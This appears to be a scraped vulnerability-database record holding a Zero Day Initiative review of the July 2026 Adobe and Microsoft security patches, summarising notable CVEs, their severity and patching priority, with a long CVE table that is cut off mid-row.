SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:03:25.325386Z"}, {"uuid": "0378a5c3-c1db-489e-969c-9528be001ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54119", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  